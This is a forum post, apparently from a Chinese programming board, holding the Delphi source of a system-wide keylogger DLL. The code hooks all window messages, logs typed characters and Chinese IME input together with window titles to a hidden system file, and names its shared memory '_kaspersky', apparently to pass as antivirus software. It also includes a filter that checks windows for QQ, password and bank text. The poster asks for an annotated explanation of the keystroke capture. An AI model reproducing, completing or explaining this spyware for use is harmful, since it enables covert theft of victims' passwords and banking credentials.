G
gfwlxx
Unregistered / Unconfirmed
GUEST, unregistred user!
unit Hook;<br><br>{$DEFINE BankFiltrate}<br><br>interface<br>uses<br> Windows, Other;<br>procedure StartHook(const SaveFileName: Pchar); stdcall;<br>procedure StopHook; stdcall;<br>implementation<br>const<br>{$IFDEF BankFiltrate}<br> BankInfo: string = '琼排';<br>{$ENDIF}<br> HookMemFileName: Pchar = '_kaspersky';<br> NULL = 0;<br>type<br> TShared = record<br> strSaveFileName: array[0..1023] of char;<br> hGetMsgHook, hCallWndHook: THandle;<br> end;<br>var<br> bFirstProcess: Bool;<br> hMappingFile: THandle;<br> PShared: ^TShared;<br> bFirst: Bool;<br> dwTick: DWORD;<br> bChange: Bool;<br> sOldCapText: array[0..255] of char;<br>{$IFDEF BankFiltrate}<br> strBankInfo: string;<br> i: integer;<br>{$ENDIF}<br><br>function GetTopParent(hWndIn: HWND): HWND;<br>var<br> hWndOut: HWND;<br>begin<br> Result := hWndIn;<br> if (hWndIn = NULL) then Exit;<br> hWndOut := hWndIn;<br> while (hWndOut <> NULL) do<br> begin<br> hWndIn := hWndOut;<br> hWndOut := GetParent(hWndIn);<br> end;<br> Result := hWndIn;<br>end;<br><br>procedure SaveInfo(str: string); stdcall;<br>var<br> h: integer;<br>begin<br> if length(str) = 0 then exit;<br> SetFileAttributes(PShared^.strSaveFileName, FILE_ATTRIBUTE_NORMAL);<br> if fileexists(PShared^.strSaveFileName) then<br> begin<br> h := fileopen(PShared^.strSaveFileName, fmOpenWrite);<br> fileseek(h, 0, 2);<br> end<br> else h := filecreate(PShared^.strSaveFileName);<br> if h = -1 then exit;<br> FileWrite(h, str[1], length(str));<br> FileClose(h);<br> SetFileAttributes(PShared^.strSaveFileName, FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM);<br>end;<br><br>procedure HookProc(hWndIn: integer; uMessage: integer; wParam: WPARAM; lParam: LPARAM); stdcall;<br>var<br> hMyWnd: HWND;<br> dwSize: DWORD;<br> hMyIMC: HIMC;<br> str: array[0..MAX_PATH] of char;<br> temp: array[0..255] of char;<br>begin<br> hMyWnd := GetTopParent(hwndIn);<br> ///////////////////////////////////////<br> if (uMessage = WM_IME_COMPOSITION) then<br> begin<br> hMyIMC := ImmGetContext(hMyWnd); // 取得目前 thread 的 input context<br> if (lParam and GCS_RESULTSTR <> 0) then<br> begin<br> dwSize := ImmGetCompositionString(hMyIMC, GCS_RESULTSTR, @str[0], sizeof(str)); //取得汉字输入串<br> str[dwSize] := #0;<br> if ((GetTickCount() - dwTick) >= 50) then //防止word中重复记录,重复记录原因不明<br> begin<br> GetWindowText(hMyWnd, temp, sizeof(temp));<br> if StrComp(temp, sOldCapText) <> 0 then<br> begin StrCopy(sOldCapText, temp); bChange := True; end<br> else<br> bChange := False;<br><br> if (bFirst or bChange) then<br> begin<br> if (bChange) then SaveInfo(#13#10);<br> GetWindowText(hMyWnd, sOldCapText, sizeof(sOldCapText));<br> SaveInfo('(');<br> SaveInfo(sOldCapText);<br> SaveInfo(')');<br> end;<br>{$IFDEF BankFiltrate}<br> if Pos('QQ 2005', temp) > 0 then ;<br> if Pos('密码:', temp) > 0 then ;<br> if Pos('Pass:', temp) > 0 then ;<br> if Pos(strBankInfo {'银行'}, temp) > 0 then SaveInfo('*')<br> else SaveInfo(str);<br>{$ELSE}<br> SaveInfo(str);<br>{$ENDIF}<br> bFirst := False;<br> end;<br> dwTick := GetTickCount();<br> end;<br> ImmReleaseContext(hMyWnd, hMyWnd);<br> end;<br> ////////////////////////////////////字符输入<br> if (uMessage = WM_CHAR) then<br> begin<br> if ((GetTickCount() - dwTick) >= 50) then<br> begin<br> GetWindowText(hMyWnd, temp, sizeof(temp));<br><br> if StrComp(temp, sOldCapText) <> 0 then<br> begin StrCopy(sOldCapText, temp); bChange := True; end<br> else<br> bChange := False;<br><br> if (bFirst or bChange) then<br> begin<br> if (bChange) then SaveInfo(#13#10);<br> GetWindowText(hMyWnd, sOldCapText, sizeof(sOldCapText));<br> SaveInfo('(');<br> SaveInfo(sOldCapText);<br> SaveInfo(')');<br> end;<br><br><br>{$IFDEF BankFiltrate}<br> if Pos('QQ 2005', temp) > 0 then ;<br> if Pos('密码:', temp) > 0 then ;<br> if Pos('Pass:', temp) > 0 then ;<br> if Pos(strBankInfo {'银行'}, temp) > 0 then SaveInfo('*')<br> else SaveInfo(Char(wParam));<br>{$ELSE}<br> SaveInfo(Char(wParam));<br>{$ENDIF}<br><br> bFirst := False;<br> end;<br> dwTick := GetTickCount();<br> end;<br>end;<br><br>function GetMsgProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;<br>var<br> pcs: PMSG;<br> hd, uMsg, wP, lP: integer;<br>begin<br> pcs := PMSG(lParam);<br> if (nCode >= 0) and (pcs <> nil) and (pcs^.hwnd <> 0) then<br> begin<br> hd := pcs^.hwnd;<br> uMsg := pcs^.message;<br> wp := pcs^.wParam;<br> lp := pcs^.lParam;<br> HookProc(hd, uMsg, wp, lp);<br> end;<br> Result := CallNextHookEx(PShared^.hGetMsgHook, nCode, wParam, lParam);<br>end;<br><br>function CallWndProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;<br>var<br> pcs: PCWPSTRUCT;<br> hd, uMsg, wP, lP: integer;<br>begin<br> pcs := PCWPSTRUCT(lParam);<br> if (nCode >= 0) and (pcs <> nil) and (pcs^.hwnd <> 0) then<br> begin<br> hd := pcs^.hwnd;<br> uMsg := pcs^.message;<br> wp := pcs^.wParam;<br> lp := pcs^.lParam;<br> HookProc(hd, uMsg, wp, lp);<br> end;<br> Result := CallNextHookEx(PShared^.hCallWndHook, nCode, wParam, lParam);<br>end;<br><br>procedure StartHook(const SaveFileName: Pchar); stdcall;<br>begin<br> bFirstProcess := True;<br> bFirst := True;<br> bChange := True;<br> dwTick := GetTickCount;<br> StrCopy(PShared^.strSaveFileName, SaveFileName);<br> if PShared^.hGetMsgHook = 0 then PShared^.hGetMsgHook := SetWindowsHookEx(WH_GETMESSAGE, @GetMsgProc, hinstance, 0);<br> if PShared^.hCallWndHook = 0 then<br> begin<br> PShared^.hCallWndHook := SetWindowsHookEx(WH_CALLWNDPROC, @CallWndProc, hinstance, 0);<br> if PShared^.hCallWndHook = 0 then UnhookWindowsHookEx(PShared^.hCallWndHook);<br> end;<br>end;<br><br>procedure StopHook; stdcall;<br>begin<br> if PShared^.hGetMsgHook <> 0 then UnhookWindowsHookEx(PShared^.hGetMsgHook);<br> PShared^.hGetMsgHook := 0;<br> if PShared^.hCallWndHook <> 0 then UnhookWindowsHookEx(PShared^.hCallWndHook);<br> PShared^.hCallWndHook := 0;<br>end;<br><br>initialization<br> bFirstProcess := False;<br> //建立内存映象文件,用来保存全局变量<br> hMappingFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TShared), HookMemFileName);<br> PShared := MapViewOfFile(hMappingFile, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);<br>{$IFDEF BankFiltrate}<br> strBankInfo := '';<br> for i := 1 to length(BankInfo) do strBankInfo := strBankInfo + chr(ord(BankInfo) + 11);<br>{$ENDIF}<br>finalization<br> try<br> if bFirstProcess then StopHook;<br> UnmapViewOfFile(PShared);<br> CloseHandle(hMappingFile);<br> except<br> end;<br>end.<br><br><br>给个大致怎么完成键盘的过程,如果能给个详细注释更好!!